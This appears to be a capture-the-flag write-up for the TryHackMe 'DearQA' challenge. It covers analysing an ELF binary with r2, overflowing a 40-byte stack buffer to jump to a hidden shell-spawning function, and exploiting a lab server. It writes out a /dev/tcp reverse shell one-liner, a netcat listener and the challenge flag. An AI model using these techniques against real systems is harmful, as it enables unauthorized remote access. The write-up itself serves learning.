{{ post-img src=“dqa.png” alt=“dqa” style=“width: 200px;” > }}

This is a binary exploitation challenge with a buffer overflow vulnerabily Reminds me of ‘0xDiablos’ challenge I did on hackthebox Local exploitation first, then remote/development exploit

Local exploitation

We get information first

└──╼ $file DearQA.DearQA
DearQA.DearQA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dae71dcf7b3fe612fe9f7a4d0fa068ff3fc93bd, not stripped
└──╼ $checksec DearQA.DearQA
[*] '/home/yourUser/Desktop/DearQA.DearQA'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Then the basics

└──╼ $strings  DearQA.DearQA
/lib64/ld-linux-x86-64.so.2
libc.so.6
fflush
__isoc99_scanf
puts
printf
stdout
execve
__libc_start_main
__gmon_start__
GLIBC_2.7
GLIBC_2.2.5
fffff.
[]A\A]A^A_
Congratulations!
You have entered in the secret function!
/bin/bash
Welcome dearQA
I am sysadmin, i am new in developing
What's your name:
Hello: %s
;*3$"

...

A secret function? interesting! At this point I could fire up Ghidra or IDA, but I find those too “powerful” I am trying to learn as much as possible so I stick to simpler tools like gdb and r2 So for the moment I use r2 and analyse the binary (I already gave execution permission and tested it)

└──╼ $r2 -d ./DearQA.DearQA
Process with PID 19964 started...
= attach 19964 19964
bin.baddr 0x00400000
Using 0x400000
asm.bits 64

[0x7f6147a2f090]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Check for vtables
[TOFIX: aaft can't run in debugger mode.ions (aaft)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information
[x] Use -AA or aaaa to perform additional experimental analysis.

[0x7f6147a2f090]> afl
0x00400590    1 41           entry0
0x00400540    1 6            sym.imp.__libc_start_main
0x004005c0    4 50   -> 41   sym.deregister_tm_clones
0x00400600    4 58   -> 55   sym.register_tm_clones
0x00400640    3 28           sym.__do_global_dtors_aux
0x00400660    4 38   -> 35   entry.init0
0x004007a0    1 2            sym.__libc_csu_fini
0x00400686    1 61           sym.vuln
0x00400520    1 6            sym.imp.puts
0x00400570    1 6            sym.imp.fflush
0x00400550    1 6            sym.imp.execve
0x004007a4    1 9            sym._fini
0x00400730    4 101          sym.__libc_csu_init
0x004006c3    1 109          main
0x00400530    1 6            sym.imp.printf
0x00400580    1 6            sym.imp.__isoc99_scanf
0x004004f0    3 26           sym._init
0x00400560    1 6            loc.imp.__gmon_start__

main is usually a good start, but it does nothing special

The strings were taling about a “secret function”

Among the symbols we got a sym.vuln function that look interesting

[0x7f6147a2f090]> pdf @sym.vuln
┌ 61: sym.vuln ();
│           0x00400686      55             push rbp
│           0x00400687      4889e5         mov rbp, rsp
│           0x0040068a      bfb8074000     mov edi, str.Congratulations_ ; 0x4007b8 ; "Congratulations!"
│           0x0040068f      e88cfeffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00400694      bfd0074000     mov edi, str.You_have_entered_in_the_secret_function_ ; 0x4007d0 ; "You have entered in the secret function!"
│           0x00400699      e882feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x0040069e      488b056b0520.  mov rax, qword [obj.stdout] ; obj.stdout__GLIBC_2.2.5
│                                                                      ; [0x600c10:8]=0
│           0x004006a5      4889c7         mov rdi, rax
│           0x004006a8      e8c3feffff     call sym.imp.fflush         ; int fflush(FILE *stream)
│           0x004006ad      ba00000000     mov edx, 0
│           0x004006b2      be00000000     mov esi, 0
│           0x004006b7      bff9074000     mov edi, str._bin_bash      ; 0x4007f9 ; "/bin/bash"
│           0x004006bc      e88ffeffff     call sym.imp.execve
│           0x004006c1      5d             pop rbp
└           0x004006c2      c3             ret

Bingo! that’s it! But It’s never called in main ( or anywhere ? ) How could we reach it? the answer is: Buffer Overflow When I executed the binary and saw it was taking input I immediately suspected it You know already how to test for BOF, mad-long inputs! You can generate them with any tool or do it manually (barbaric) But it’s important to find the right offset (how many characters make a BOF ?)

I found my offset at 40 characters

└──╼ $./DearQA.DearQA
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Erreur de segmentation

So now We got what we need! Our objective is to jump to the vuln function address from r2 we got it! it’s 0x00400686 so we just add it to our payload (convert it to little endian first) I wrote a python script for that, using pwntools (I like pwntools)

Remote exploitation

I won’t say much here, as we did the hardest part already We just have to connect to the remote server and send our payload pwntools can do that too. I adapt my script and use it with python3

└──╼ $python3 bufferoverflow.py
[*] '/home/nair0lf32/Desktop/Stuff/THM/DearQA/DearQA.DearQA'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Opening connection to 10.10.81.146 on port 5700: Done
[*] Initialisation of BOF attack
/home/nair0lf32/Desktop/Stuff/THM/DearQA/bufferoverflow.py:18: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  connection.recvuntil("What's your name: ")
[*] Payload sent
[*] Switching to interactive mode


ctf@dearqa:/home/ctf$ $

And we did it! the secret function gave us a shell (like shown in local) Now we have access to the server but we cant see our commands output We can get a proper shell then

ctf@dearqa:/home/ctf$ $ bash -c 'exec bash -i &>/dev/tcp/10.8.226.203/4444 <&1'

$

Then our listenner got us in

└──╼ $nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.2] 48729
bash: cannot set terminal process group (445): Inappropriate ioctl for device
bash: no job control in this shell
ctf@dearqa:/home/ctf$ ls
ls
DearQA
dearqa.c
flag.txt
ctf@dearqa:/home/ctf$ cat flag.txt
cat flag.txt
THM{Fl4G_Fr0m_Q4_t0_D3v}

I am starting to really like those pwn challenges! Doing further readings I learnt that actually when you examine the memory addresses (gdb or objdump) after the segfault, you get the offset at 40, but the buffer size is actually 32 bytes The next 8 bytes are used to reach the RSP and access the vuln function It doesnt change much as we can fill any characters in the RSP, but it’s good to know

Keep learning folks!